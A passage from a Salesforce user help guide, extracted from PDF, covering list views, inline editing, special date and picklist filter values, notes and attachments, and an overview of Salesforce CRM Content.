(Field-level security is available only in Enterprise, Unlimited, and Developer Editions). Archived activities are not included in activity list views. You can use the Activity History related list to view these activities. Tip: On account, contact, and lead list views, click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar

243

List Views

Working with Enhanced Lists

to quickly create an event associated with the record. Note that your administrator controls the availability of this feature. For more information, see Working with Drag-and-Drop Scheduling on page 140.

See Also:
Printing List Views Creating Mobile List Views Filtering on Special Picklist Values Navigating Long Lists Deleting List Views Customizing User Interface Settings Working with Enhanced Lists Using Inline Editing in Lists Tip sheet: Tips & Hints for Custom Views

Working with Enhanced Lists


Available in: All Editions except Database.com

User Permissions Needed To use inline editing in an enhanced list: Mass Edit from Lists

Enhanced lists give you the ability to quickly view, customize, and edit list data to speed up your daily productivity. They must first be enabled by your administrator for you to take advantage of them. Enhanced lists allow you to: Navigate through the list results by clicking the first page icon (<<), Previous, Next, or the last page icon (>>) at the bottom of the list. Jump to a specific page of results by entering a number in the text box in the lower right corner, and then pressing Enter. Create a new view by clicking Create New View. Edit, delete or refresh the current view by clicking Edit, Delete, or , respectively. Change the number of records displayed per page by clicking the record count indicator in the lower left corner of the list and selecting the desired setting. You can view 10, 25, 50, 100, or 200 records at a time. When you change this setting, you return to the first page of list results. Changing your preference for the number of records displayed per page applies to all lists in all Salesforce apps, not just the one currently displayed. In addition, if you change your preference to 200, a message warns you of possible performance degradation. Change the width of a column by dragging the right side of the column heading with your mouse. Any changes you make to column widths are specific to that list only, and are preserved when you next view the list. If you add or remove columns from a list, any column width customizations for that list are discarded automatically.

244

List Views

Using Inline Editing in Lists

Change the order in which a column is displayed by dragging the entire column heading with your mouse to the desired position. If you have permission to edit the list definition, your changes are automatically saved for all users who see the list. If you do not have permission to edit the list definition, your changes are discarded when you navigate away from the page. Change the number and order of columns displayed by clicking Edit next to the list drop-down in the upper left corner. See Creating Custom List Views on page 241. If your administrator has enabled inline editing for your organization, edit single records directly from the list by double-clicking on individual field values. If your administrator has granted you the Mass Edit from Lists permission, you can also edit up to 200 records at a time. See Using Inline Editing in Lists on page 245. On account, contact, and lead list views, click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. Note that your administrator controls the availability of this feature. For more information, see Working with Drag-and-Drop Scheduling on page 140.

See Also:
Using Inline Editing in Lists Customizing User Interface Settings Creating Custom List Views Navigating Long Lists

Using Inline Editing in Lists


Available in: All Editions except Database.com

User Permissions Needed To use inline editing in an enhanced list: Mass Edit from Lists

If both inline editing and enhanced lists are enabled, you can edit records directly in a list. Editable fields display a pencil icon ( ) when you hover over the field, while non-editable fields display a lock icon ( ). Caution: In enhanced list views, when different users make inline edits to the same fields on a record simultaneously, records are updated with the most recent edit without a conflict error message. To edit one record, double-click the editable value, specify a new value, and click OK. If you have the Mass Edit from Lists permission, you can edit up to 200 records at once. To edit multiple records: 1. Select the checkbox next to each record you want to update. If you select records on multiple pages, Salesforce remembers which records are selected. 2. Double-click one of the cells you want to edit. A dialog box displays allowing you to apply your edit to one record, or to every record selected.

245

List Views

Viewing Chatter Feeds on List Views

Note: You cannot edit multiple product records at once, they must be edited one at a time.

If you encounter any errors when trying to update records, a console window displays showing the name of each record in error (if known), as well as a description of why the error occurred. Click the name of a record in the console window to open that record's detail page in a new window. Salesforce keeps track of the records you've clicked in the error console by displaying them in gray, strike-through text. Note: To view the error console, pop-up blockers must be disabled for the Salesforce domain. To check if your browser allows pop-up windows, click Your Name > Setup > My Personal Information > Reminders, and then click Preview Reminder Alert.

Tips for Using Inline Editing with Lists


Note the following tips when using inline editing with lists: Some standard fields do not support inline editing. For example, Case Status, Opportunity Stage, Opportunity Amount, Opportunity Quantity and Lead Status, and most Task and Event fields can only be edited from a record's edit page. For more information, see Editing Data Using Inline Editing on page 18. If your organization uses record types, inline editing with lists is only available when all of the records in the list are of the same record type. Therefore, you must specify a filter of Record Type equals X, where X is the name of a single record type (or blank for the master record type). To perform inline editing on an enhanced list, filter logic must be turned off in the list view filter criteria. For lists of activities, you must specify an additional filter of either Task equals True (for tasks) or Task equals False (for events) for inline editing to be available. If your organization is using Person Accounts: You can't use inline editing to change them from a Contact list. You can only inline edit Person Accounts from an Account list. You can only use inline editing on contacts associated to business accounts by specifying an additional filter of Is Person Account EQUALS False in your list criteria.

Viewing Chatter Feeds on List Views


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

If Chatter is enabled, click Chatter on a standard or custom object list view to see a Chatter feed with updates from the last 30 days for the records included in the list view. Click List to display the list view again. You can choose a different list view from either mode. Click a record name to view the record, or a person's name to view their profile Click Comment to comment on a post Click Like to like a post Click the timestamp of a post, for example, Yesterday at 12:57 AM, to see that post in the feed of its associated record Click Show More to see older posts

Consider the following tips for Chatter feeds on list views:

246

List Views

Printing List Views

You can only view Chatter feeds on list views for objects enabled for feed tracking If drag-and-drop scheduling on list views is enabled, you won't see Chatter feeds on the list views for accounts, contacts, or leads

See Also:
Using Chatter Using Chatter Feeds

Printing List Views


Available in: All Editions except Database.com

User Permissions Needed To print list views: Read on the records included in the list

Note: Your administrator can enable and disable printable list views.

You can print list views for the following kinds of records: Accounts Activities Campaigns Cases Contacts Contracts Custom objects Documents Leads Opportunities Permission sets Price books Profiles Products Reports Solutions

To print a list view: 1. Navigate to a list view, for example, All Accounts on the Accounts tab. 2. Sort the contents of the list view as you want them printed.

247

List Views

Navigating Long Lists

3. Click

. Note: To change the sorting, close the printable view window, select the appropriate column header on the list

view, and then click

4. To select how many records display, choose a value from the Number of Records drop-down list. You can display up to 1,000 records. To show fewer records, refine your list view criteria. To print more than 1,000 records, run a report and then click the Printable View button on the report. 5. In the upper right corner of the printable view window, click Print this Page.

See Also:
Creating Custom List Views

Navigating Long Lists


Available in: All Editions except Database.com

Many list pages in Salesforce include the following tools for managing a large amount of data: To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. At the top of a list, click a letter to show items that correspond to that letter, or click Other to show items whose names begin with numbers or symbols. Click All to display all items that match the criteria of the current view. To sort list view items by the data in a particular column, click that columns heading. This sorts text data alphabetically and numerical data in ascending order. Dates are sorted with the most recent date first. To reverse the sort order, click the column heading a second time. Note: You can sort by any custom field except multi-select picklists.

Click the Previous Page or Next Page link to go to the previous or next set of items in the current view. At the bottom of a list, click the fewer or more link to decrease or increase the number of items per page.

In some related lists with many items, the following links are available: Click Show [number] more to increase the number of items in the list.

248

List Views

Deleting List Views

Click Go to list to display a secondary page of the entire related list.

See Also:
Creating Custom List Views Viewing Profile Lists

Deleting List Views


Available in: All Editions

To delete one of your custom views, select the view from the drop-down list and click the Edit link. At the top of the page, click the Delete button. If you are an administrator or a user with the Manage Public List Views permission, you can also delete shared views as well as some standard views.

See Also:
Creating Custom List Views Navigating Long Lists

Special Date Values for Filter Criteria


Available in: All Editions except Database.com

Use the following special date values when defining filter criteria using dates. If you choose a date field (for example, Create Date, Last Update Date) as a filter criteria, the value can be a date in the format allowed by your Locale setting or any of the following special values: Special Date Value YESTERDAY TODAY TOMORROW LAST WEEK Range Starts at 12:00:00 a.m. on the day before the current day and continues for 24 hours. Starts at 12:00:00 a.m. on the current day and continues for 24 hours. Starts at 12:00:00 a.m. on the day after the current day and continues for 24 hours. Starts at 12:00:00 a.m. on the first day of the week before the current week and continues for seven days. For Enterprise, Unlimited, Professional, and Developer Editions, the week is defined by the Locale drop-down list in your personal information settings at Your Name > Setup > My Personal Information > Personal Information. For Contact Manager, Group, and Personal Editions, the

249

List Views

Special Date Values for Filter Criteria

Special Date Value

Range week is defined by the Locale setting in the company profile at Your Name > Setup > Company Profile > Company Information. For example, when the Locale is US English, a week runs Sunday to Saturday, whereas with UK English, a week spans Monday to Sunday.

THIS WEEK

Starts at 12:00:00 a.m. on the first day of the current week and continues for seven days. For Enterprise, Unlimited, Professional, and Developer Editions, the week is defined by the Locale drop-down list in your personal information settings at Your Name > Setup > My Personal Information > Personal Information. For Contact Manager, Group, and Personal Editions, the week is defined by the Locale setting in the company profile at Your Name > Setup > Company Profile > Company Information. For example, when the Locale is US English, a week runs Sunday to Saturday, whereas with UK English, a week spans Monday to Sunday.

NEXT WEEK

Starts at 12:00:00 a.m. on the first day of the week after the current week and continues for seven days. For Enterprise, Unlimited, Professional, and Developer Editions, the week is defined by the Locale drop-down list in your personal information settings at Your Name > Setup > My Personal Information > Personal Information. For Contact Manager, Group, and Personal Editions, the week is defined by the Locale setting in the company profile at Your Name > Setup > Company Profile > Company Information. For example, when the Locale is US English, a week runs Sunday to Saturday, whereas with UK English, a week spans Monday to Sunday.

LAST MONTH THIS MONTH NEXT MONTH LAST 90 DAYS NEXT 90 DAYS LAST n DAYS NEXT n DAYS LAST QUARTER

Starts at 12:00:00 a.m. on the first day of the month before the current month and continues for all the days of that month. Starts at 12:00:00 a.m. on the first day of the current month and continues for all the days of that month. Starts at 12:00:00 a.m. on the first day of the month after the current month and continues for all the days of that month. Starts at 12:00:00 a.m. 90 days before the current day and continues up to the current second. (The range includes today.) Starts at 12:00:00 a.m. on the day after the current day and continues for 90 days. (The range does not include today.) Starts at 12:00:00 a.m. n days before the current day and continues up to the current second. (The range includes today.) Starts at 12:00:00 a.m. on the next day and continues for the next n days. (The range does not include today.) Starts at 12:00:00 a.m. on the first day of the quarter before the current quarter and continues to the end of that quarter.

250

List Views

Special Date Values for Filter Criteria

Special Date Value THIS QUARTER NEXT QUARTER LAST n QUARTERS

Range Starts at 12:00:00 a.m. on the first day of the current quarter and continues to the end of the quarter. Starts at 12:00:00 a.m. on the first day of the quarter after the current quarter and continues to the end of that quarter. Starts at 12:00:00 a.m. on the first day of the quarter n quarters ago and continues to the end of the quarter before the current quarter. (The range does not include the current quarter.) Starts at 12:00:00 a.m. on the first day of the quarter after the current quarter and continues to the end of the quarter n quarters in the future. (The range does not include the current quarter.) Starts at 12:00:00 a.m. on January 1 of the year before the current year and continues through the end of December 31 of that year. Starts at 12:00:00 a.m. on January 1 of the current year and continues through the end of December 31 of the current year. Starts at 12:00:00 a.m. on January 1 of the year after the current year and continues through the end of December 31 of that year. Starts at 12:00:00 a.m. on January 1 of the year n years ago and continues through December 31 of the year before the current year. Starts at 12:00:00 a.m. on January 1 of the year after the current year and continues through the end of December 31 of the nth year. Starts at 12:00:00 a.m. on the first day of the fiscal quarter before the current fiscal quarter and continues through the last day of that fiscal quarter. The fiscal quarter is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year. Note: None of the FISCAL special date values are supported when creating mobile custom views.

NEXT n QUARTERS

LAST YEAR THIS YEAR NEXT YEAR LAST n YEARS NEXT n YEARS LAST FISCAL QUARTER

THIS FISCAL QUARTER

Starts at 12:00:00 a.m. on the first day of the current fiscal quarter and continues through the end of the last day of the current fiscal quarter. The fiscal quarter is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year. Starts at 12:00:00 a.m. on the first day of the fiscal quarter after the current fiscal quarter and continues through the last day of that fiscal quarter. (The range does not include the current quarter.) The fiscal quarter is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year. Starts at 12:00:00 a.m. on the first day of the fiscal quarter n fiscal quarters ago and continues through the end of the last day of the previous fiscal quarter. (The range does not include the current fiscal quarter.) The fiscal

NEXT FISCAL QUARTER

LAST n FISCAL QUARTERS

251

List Views

Special Date Values for Filter Criteria

Special Date Value

Range quarter is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year.

NEXT n FISCAL QUARTERS

Starts at 12:00:00 a.m. on the first day of the fiscal quarter after the current fiscal quarter and continues through the end of the last day of the nth fiscal quarter. (The range does not include the current fiscal quarter.) The fiscal quarter is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year. Starts at 12:00:00 a.m. on the first day of the fiscal year before the current fiscal year and continues through the end of the last day of that fiscal year. The fiscal year is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year. Starts at 12:00:00 a.m. on the first day of the current fiscal year and continues through the end of the last day of the fiscal year. The fiscal year is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year. Starts at 12:00:00 a.m. on the first day of the fiscal year after the current fiscal year and continues through the end of the last day of that fiscal year. The fiscal year is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year. Starts at 12:00:00 a.m. on the first day of the fiscal year n fiscal years ago and continues through the end of the last day of the fiscal year before the current fiscal year. (The range does not include the current fiscal year.) The fiscal year is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year. Starts at 12:00:00 a.m. on the first day of the fiscal year after the current fiscal year and continues through the end of the last day of the nth fiscal year. (The range does not include the current fiscal year.) The fiscal year is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year.

LAST FISCAL YEAR

THIS FISCAL YEAR

NEXT FISCAL YEAR

LAST n FISCAL YEARS

NEXT n FISCAL YEARS

For example, to create a custom view or report of accounts created last week, enter Create Date equals LAST WEEK. Date values are not case-sensitive; you can use LAST WEEK or last week. For special date values with variables (such as NEXT N DAYS), substitute N with any number greater than zero. Do not use commas.

See Also:
Creating Custom List Views Filtering on Special Picklist Values

Filtering on Special Picklist Values

252

List Views

Filtering on Special Picklist Values

The available fields vary according to which Salesforce Edition you have.

When creating filter criteria, such as in a list view or report or when mass deleting records, you can use special picklist values for your search criteria. These are special picklists with values of either True or False. For example, to show all opportunities you have won, enter Won equals True as your search criteria. To show all closed/lost opportunities, enter Closed equals True and Won equals False. Note: If you are creating filter criteria for a report or list view, the lookup icon automatically displays when you choose to filter on one of the special picklists. Click the lookup icon to choose the value True or False. Alternatively, you can manually enter True or False in the filter criteria. These are the available fields and their values: Special Picklist Field Accounts and contacts: Is Person
Account

Value True

Description The account is a person account. For more information, see What is a Person Account? on page 61. Note that your administrator may have customized the name of this field. This field displays as the person account icon ( ). The account is a business account. The account is a partner account, or the lead or opportunity owner is a partner user. For more information, see Partner Portal Overview on page 3049. The account is not a partner account or the lead or opportunity owner is not a partner user. Applies only to events, not tasks. The event is marked as an all day event. The event has a specific time. Applies only to tasks, not events. The task has been closed, that is, the task Status field has a Closed value. Task is still open. Applies only to events, not tasks. The event is the meeting invite sent to another user for a multi-person event. The event is the original multi-person event assigned to the event host. Activity does not have a green sheet. Activity is a task, not an event. Activity is an event.

False Accounts, leads, and opportunities:


Partner Account

True

False Activities: All-day True False Activities: Closed True False Activities: Event Invitation (Only for reports) False False Activities: Task True False True

253

List Views

Filtering on Special Picklist Values

Special Picklist Field Campaigns: Active

Value True False

Description Campaign is active and can be chosen from various campaign picklists, for example, in the campaign import wizards. Campaign is inactive. The case is closed, that is, the case Status field has a Closed value. Case is still open. Case has been automatically escalated via your organization's escalation rule. Case has not been escalated. Case has a new comment added by a Self-Service user. Case does not have a new Self-Service comment. The case is open, that is, the case Status has a value that is not equivalent to Closed. Case has been closed. Case has a comment added by a Self-Service user. Case does not have a Self-Service comment. The contact cannot be included in a mass email recipient list. The contact may receive mass email. The contact is enabled to log in to your Self-Service portal.

Cases: Closed

True False

Cases: Escalated

True False

Cases: New Self-Service Comment True False Cases: Open (Only for reports) False Cases: Self-Service Commented True False Contacts: Email Opt Out True False Contacts: Self-Service Active (Only for reports) False Leads: Converted (Only for reports) False Leads: Email Opt Out True False Leads: Unread True False Opportunities: Closed True True True True

The contact is not enabled for Self-Service. The lead has been converted.

The lead has not been converted. The lead cannot be included in a mass email recipient list. The lead may receive mass email. The lead has not yet been viewed or edited by the owner since it was assigned to that user. The lead has been viewed or edited at least once by the owner since it was assigned. The opportunity is closed, that is, the Stage field has a value of the type Closed/Won or Closed/Lost.

254

List Views

Filtering on Special Picklist Values

Special Picklist Field

Value False

Description The opportunity is still open. The partner for the opportunity has been marked as the primary partner. The partner for the opportunity has not been marked as the primary partner. The opportunity owner has checked the Private box on the opportunity edit page. The Private box on the opportunity is not checked. The opportunity is closed and won, that is, the Stage field has a value of the type Closed/Won. The opportunity has not been won. The Stage field may have a value of the type Open or Closed/Lost. Product is active and can be added to opportunities in Enterprise and Unlimited Edition organizations. Product is inactive and cannot be added to opportunities. Product has a default quantity schedule. Product does not have a default quantity schedule. Product has a default revenue schedule. Product does not have a default revenue schedule. The solution has been marked Visible in Self-Service Portal and is visible to Self-Service portal users. Solution is not marked Visible in Self-Service Portal and is not visible to Self-Service portal users. The solution has been reviewed, that is, the solution Status field has a Reviewed value. Solution is not reviewed. The translated solution has not been updated to match the master solution with which it is associated. The translated solution has been updated to match the master solution with which it is associated. User is active and can log in. User is inactive and cannot log in. User has access to use Connect Offline. User is not enabled for Connect Offline use.

Opportunities: Primary (Only for Partner Opportunities report)

True

False Opportunities: Private True False Opportunities: Won True False Products: Active True False Product: Has Quantity Schedule True False Product: Has Revenue Schedule True False Solutions: Visible in
Self-Service Portal

True

False Solutions: Reviewed True False Solutions Out of Date True False Users: Active True False Users: Offline User True False

255

Notes & Attachments

Viewing and Editing Google Docs, Notes, and Attachments

Special Picklist Field Users: Marketing User

Value True False

Description User can manage campaigns. User is not enabled to manage campaigns. User is a partner user. For more information, see Partner Portal Overview on page 3049. User is not a partner user.

User: Is Partner

True False

Note: The special picklists you can view are only those that are visible in your page layout and field-level security settings. (Field-level security is available only in Enterprise, Unlimited, and Developer Editions).

See Also:
Creating Custom List Views Special Date Values for Filter Criteria

NOTES & ATTACHMENTS


Viewing and Editing Google Docs, Notes, and Attachments
Notes and attachments are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Google Docs available in all editions

Note: Microsoft Office 2007 file previews are currently available through a pilot program.

You can create, view, and edit notes and add attachments from the Notes and Attachments related list on selected detail pages such as accounts, contacts, leads, opportunities, and products. You can also add attachments from the Attachments related list on selected detail pages such as cases, solutions, and campaigns. If Chatter is enabled for your organization, files posted to a feed on a record are added to the record's Notes and Attachments related list as feed attachments. You can preview (if available), download, and delete feed attachments from the Notes and Attachments related list, but you can't edit them. You can view feed attachment details by clicking on the title of the file. To learn the different ways files are used in Salesforce, see Differences between Files, Salesforce CRM Content, Salesforce Knowledge, Documents, and Attachments on page 2191.

256

Notes & Attachments

Viewing and Editing Google Docs, Notes, and Attachments

Note: If the Add Google Docs to Salesforce service is enabled in your organization, the Notes and Attachments related list is entitled Google Docs, Notes, & Attachments, and the Attachments related list is entitled Google Docs & Attachments. To view the contents of a note, click the title of the note. To view the details of all notes, attachments, or Google docs, click View All. Note that the View All button only displays when there are records to view. To view the details of an attachment, click the title of the file and then select the link on the Attached File detail page. To view the details of a feed attachment, click the title of the file. To edit a note or the title of an attachment, click Edit and make the changes you want. You can't edit the attached file directly and you can't edit feed attachments. To create a new Google doc, choose New Document, New Spreadsheet, or New Presentation from the Add Google Doc drop-down button. For more information, see Adding Google Docs to Salesforce on page 304. To associate an existing Google doc with the Salesforce record, choose Add Existing from the Add Google Doc drop-down button. For more information, see Editing Google Doc Links on page 307. To edit the title or URL of a Google doc, click Edit. To delete a Google doc from the related list, click Del. This action removes the document's association with the record but does not delete the document in Google Apps. To view and modify the Google doc, click View.

Consider the following when working with notes, attachments, and Google docs: To access a Google doc from a record detail page, the doc must be shared with your Google Apps account. The size limit for an attached file is 5 MB, including a file attached to a solution. The 5 MB size limit doesn't apply to feed attachments. The maximum size for one or more files attached to emails is 10 MB. All file types are supported. All notes and attachments added to contacts and opportunities roll up under the associated account as well. You cannot edit a note or attachment unless you also have access to edit the record associated with it. To delete a note or attachment, you must be the owner of the note or attachment or an administrator with the Modify all Data permission. Note ownership is determined by the owner field. Attachment ownership is determined by the created by field. Record owners (except Portal users) can delete attachments on records. Notes and attachments marked as private via the Private checkbox are accessible only to the person who attached them and administrators. For administrators to view private notes and attachments, they need the View All Data permission; to edit or delete them, they need the Modify All Data permission. The Notes and Attachments related list includes files from Salesforce CRM Content when they are posted to a Chatter feed on a record. However, the Notes and Attachments related list does not include Salesforce CRM Content files that only exist in Salesforce CRM Content. If your organization has Salesforce CRM Content enabled, you can add the Related Content related list to the detail pages for accounts, contacts, leads, opportunities, cases, products, or custom objects. For more information, see Finding Salesforce CRM Content on page 290. Click Preview next to a feed attachment to display a preview of the file. Not all files can be previewed, such as copy-protected PDFs, unknown file types, and any file larger than 25 MB. For files that can't be previewed, the Preview option isn't available on feeds or list views, and files appear as generic file type icons in the feed. Some Microsoft Office 2007 features don't display correctly in previews.

257

Notes & Attachments

Creating Notes

If Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments related list. Portal users can download feed attachments, but can't preview, edit, or delete them.

See Also:
Tagging Records Using Google Docs in Salesforce Creating Notes Adding Attachments Note and Attachment Fields Deleting Notes and Attachments Salesforce CRM Content Overview

Creating Notes
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

To create a note, click New Note in the Notes and Attachments related list of a record. Specify a description of the note and its contents. The contents can contain up to 32KB of data. If Spell Checker is enabled for your organization, click Check Spelling to check the spelling of the note. Spell Checker checks the body of the note, not the title. Spell Checker does not support all the languages that Salesforce supports. For example, Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese, are not supported. Click Save when you have finished. Note that you need to have access to edit the record in order to create a note associated with it. Note: Any notes you add from contact or opportunity pages will display in the Notes and Attachments related list of that record, as well as in the related list for the account they are associated with.

See Also:
Adding Attachments Note and Attachment Fields

Adding Attachments
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

You can add an attachment to the Attachments related list of a case, solution, campaign, task, or event, or to the Notes and Attachments related list of an account, contact, lead, opportunity, or custom object. If you don't see the related list on task or event page layouts, you may need to ask your administrator to add it. All file types are supported, including everything from Microsoft PowerPoint presentations and Excel spreadsheets, to Adobe PDFs, image files, audio files, and video files.

258

Notes & Attachments

Note and Attachment Fields

1. 2. 3. 4.

Click Attach File. Select Browse to specify the location and name of the file. Click Attach File to upload the file. Select Done after the file finishes uploading. Note: You need permission to edit a record in order to add an attachment to it. The size limit for an attached file is 5 MB, including a file attached to a solution. The size limit for all files attached to an email is 10 MB. If the Disallow HTML documents and attachments security setting is enabled for your organization, you cannot upload files with the following file extensions: .htm, .html, .htt, .htx, .mhtm, .mhtml, .shtm, .shtml, .acgi. HTML attachments are not permitted on solutions, regardless of whether this security setting is enabled. In addition, this setting does not affect attachments on email templates; HTML attachments on email templates are always permitted.

After a file is attached to the Attachments or Notes and Attachments related list, you can click View All to view the details of all the attachments on the related list. Note that the View All button only displays when there are records to view.

See Also:
Creating Notes Note and Attachment Fields File Size Limits in Salesforce

Note and Attachment Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Notes and attachments have the following fields, listed in alphabetical order. Attachment Fields Field
Description File Name Private

Description Description of the uploaded file. Name of the uploaded file. Checkbox to indicate that the attachment is only accessible to the owner and administrators. For administrators to view private attachments, they need the View All Data permission; to edit them, they need the Modify All Data permission. Checkbox to indicate that the attachment is shared with connections when the parent record is shared. This checkbox is only available if Salesforce to Salesforce is enabled, the parent record is shared, and the attachment is public.

Share With Connections

259

Notes & Attachments

Deleting Notes and Attachments

Attachment Fields Field


Size

Description Size of the uploaded file.

Note Fields Field


Body Private

Description Text of the note. Can hold up to 32KB of data. Checkbox to indicate that note is only accessible to the owner and administrators. For administrators to view private notes, they need the View All Data permission; to edit them, they need the Modify All Data permission. Short description of note. Up to 80 characters are allowed in this field.

Title

See Also:
Adding Attachments Creating Notes

Deleting Notes and Attachments


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

To delete a note or attachment, click Del next to the note or attachment in the Notes and Attachments related list or Attachments related list of a record. Deleted notes and attachments can be restored from the Recycle Bin. To delete a file that was attached from a Chatter feed, click Del next to the feed attachment. This removes the file from all Chatter feeds where it's been shared and deletes the file from the Notes and Attachments related list. Restore the file by clicking on the Recycle Bin, selecting the file, and clicking Undelete. If the file was attached from your computer, a Chatter feed, group, or a Salesforce CRM Content library, deleting it from the Notes and Attachments related list also removes it from the post, but doesn't delete it from it's original location.

See Also:
Recycle Bin

260

Salesforce CRM Content

Salesforce CRM Content Overview

SALESFORCE CRM CONTENT


Salesforce CRM Content Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Note: Microsoft Office 2007 file previews are currently available through a pilot program.

With Salesforce CRM Content you can organize, share, search, and manage content within your organization and across key areas of the Salesforce application. Content can include all file types, from traditional business documents such as Microsoft PowerPoint presentations to audio files, video files, Web pages, and Google docs. To learn the different ways files are used in Salesforce, see Differences between Files, Salesforce CRM Content, Salesforce Knowledge, Documents, and Attachments on page 2191.

Overview
Salesforce CRM Content simplifies content management by incorporating user-friendly features into the following tasks: Organizing Rather than keep files in folders that make content difficult to find, Salesforce CRM Content stores files in fully searchable file repositories known as libraries. Administrators can create multiple libraries based on any classification, such as department name, job function, or team, then configure user permissions within the library to balance content access with security. Authors assign descriptive labels called tags to help classify and organize content across libraries. You can view a list of all content that belongs to a particular tag or filter search results based on a tag or tags. Salesforce CRM Content also provides personal libraries, which allow users to reduce the clutter on their desktops while using content-management benefits such as document search and version control. Searching The powerful Salesforce CRM Content search engine scans the entire body of the document as well as content properties such as the title, description, tags, categorization data, and author name. You can filter searches by featured content, file format, author, tags, libraries, or custom fields and then view the results with various levels of detail, providing an easy way to find relevant content quickly. If Chatter is enabled for your organization, you can also filter your search results by Chatter files. The smart bar graphic for downloads, comments, ratings, and subscribers allows you to compare documents within a search result set. Subscribing Once a file is located, subscribing to it ensures that you receive an email notification when new versions are published or changes are made to the file's properties. You can also subscribe to authors, tags, and libraries, thus reducing the time spent searching for new or updated content. Notification emails will arrive real-time or once daily, depending on your preferences.

261

Salesforce CRM Content

Salesforce CRM Content Overview

Previewing In Salesforce CRM Content you do not need to download a large document to determine if its content is relevant to you. The content details page provides document details at a glance, including document title, author, description, tags, libraries, comments, votes, versions, subscribers, and downloads. If the document is a Microsoft PowerPoint, Word, Excel, or Adobe PDF file, you can preview the entire file in your browser without downloading it. Some Microsoft Office 2007 features don't display correctly in previews. Copy-protected PDFs can't be previewed. Contributing Uploading new or revised files in Salesforce CRM Content is fast and easy. During the upload process you choose a library and content type for your file or Web link, write a description, assign one or more tags, and fill out any customized fields that help categorize and define your content. Version management does not require checking files in and out, rather, you simply upload a new version of the file and Salesforce CRM Content maintains a version list accessible from the content details page. You can download past versions of a file and read all reason-for-change comments that an author may have included with a new version. Reviewing Usage and Providing Feedback Salesforce CRM Content provides several methods for determining whether content is valuable to readers. Featuring a piece of content increases its visibility in search results. Voting thumbs up or thumbs down on a file, Web link, or Google doc and adding comments allow you to participate directly in content improvement. You can also see who has subscribed to a file, link, or doc and how many times files have been downloaded. The Reports tab allows you to create standard or custom reports on Salesforce CRM Content data. If the content delivery feature is enabled, you can send content to colleagues, leads, and contacts and then track how often the content has been previewed or downloaded. Sharing Content in Salesforce Salesforce CRM Content is also integrated with leads, accounts, contacts, opportunities, cases, products, and custom objects. If Salesforce CRM Content functionality is enabled on the Opportunity tab, for example, Salesforce CRM Content uses the fields on the opportunity detail page to search for files that may be relevant to that opportunity. You can drill down in the search results as needed or run your own search and then attach one or more files to the opportunity. The most current version of the file will be available on the detail page for the life of the opportunity. Sharing Content in Salesforce Mobile Salesforce CRM Content is available in Salesforce Mobile. Users can share content with customers and colleagues from the mobile application when they're away from their desks. To enable Salesforce CRM Content for the mobile application, mobilize the content object and specify which content records are synchronized to the mobile device.

Implementation Tips
To implement Salesforce CRM Content for your organization, see Setting Up Salesforce CRM Content on page 1349. Before creating libraries, review the files you plan to store in Salesforce CRM Content to determine how many libraries you need and what content belongs in each library. Users are given access to content based on library. If you have a large number of Salesforce CRM Content users, create a public group and add the group to a library rather than adding users to the library individually. To enable Salesforce CRM Content functionality for leads, accounts, contacts, opportunities, cases, products, or custom objects, add the Related Content related list to the appropriate page layout. For more information, see Customizing Page Layouts on page 1191. To send web-formatted content to colleagues, leads, or contacts and associate it with Salesforce records, add the Content Deliveries related list to the page layout for leads, accounts, contacts, opportunities, cases, campaigns, or custom objects. For more information about content deliveries and a full list of implementation tips and best practices, see Setting up Content Deliveries on page 1369. To allow users to publish, edit, and search in any of the Salesforce-supported languages, go to Your Name > Setup > Customize > Salesforce CRM Content > Settings and click Enable multi-language search and contribute.

262

Salesforce CRM Content

Salesforce CRM Content Overview

To associate Google docs with a library, the Add Google Doc to Salesforce service must be activated for your organization. For more information, see Activating Google Docs in Salesforce on page 303. If you want PDFs to open inline rather than in a separate window, go to Your Name > Setup > Customize > Salesforce CRM Content > Settings and click Do not open PDFs in a separate window. Copy-protected PDFs can't be previewed. Salesforce CRM Content is available via the Customer Portal and partner portal. For more information, see Enabling Salesforce CRM Content in the Customer Portal on page 1563 and Enabling Salesforce CRM Content in the Partner Portal on page 3057. For information about using Google Docs with Salesforce CRM Content, see Contributing Google Docs to Salesforce CRM Content on page 273. All Salesforce CRM Content items display as primary tabs in the Service Cloud Console. For more information, see Service Cloud Console Overview on page 2912.

Best Practices
